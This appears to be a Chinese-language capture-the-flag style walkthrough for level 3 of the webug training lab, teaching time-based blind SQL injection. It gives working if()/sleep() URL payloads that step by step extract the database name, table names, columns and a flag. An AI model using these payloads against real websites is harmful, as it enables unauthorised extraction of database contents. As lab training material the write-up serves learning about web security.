sec119第三关:延时注入 延时注入适用于,无法回现和无法显示错误页面的场景,此时我们可以利用sleep()函数让服务器休眠,通过休眠时间判断执行的语句对错,从而得到我们想要的信息。 那么怎么判断呢?这个时候我们就要用到if()函数和sleep()函数了。if(a,b,c)条件判断函数:if判断句,a为条件,b、c为执行语句;如果a为真就执行b,a为假就执行c; ?id=1' and if(length(database())=1,0,sleep(3))%23 所以时间长度为5。 测试数据库名称: ?id=1' and if(substr(database(),1,1)='w',0,sleep(3))%23 所以数据库名的第一个字符为:“w” 当然,为了方便,我们也可以采用left函数: 这个时候测试猜解就比较容易看到已经猜解的字符: ?id=1' and if(left(database(),5)='webug',0,sleep(3))%23 最后猜解出数据库名webug: 接下来就要猜解数据库里面的表的个数: ?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=7,0,sleep(3))%23 猜解表名: ?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='c',0,sleep(3))%23 接着尝试: 由此可知,第一个字符为:“d” 依次类推,爆出webug下的表: data_crud,env_list,env_path,flag,sqlinjection,user,user_test 利用延时注入爆env_list表下的列: ?id=1' and if(left((select column_name from information_schema.columns where table_name='env_list' limit 0,1),1)='i',0,sleep(3))%23 env_list的表里有: id,envName,envDesc,envIntegration,delFlag,envFlag,level,type 需要是的注意的是,由于这里是第三关,所以我们利用延时注入爆id=3时envFlag内容: ?id=1' and if(substr((select EnvFlag from env_list where id=3),1,1)='g',0,sleep(3))%23 flag第一个字符为g,为了方便使用left函数: 最后flag为:gfdgdfsdg
|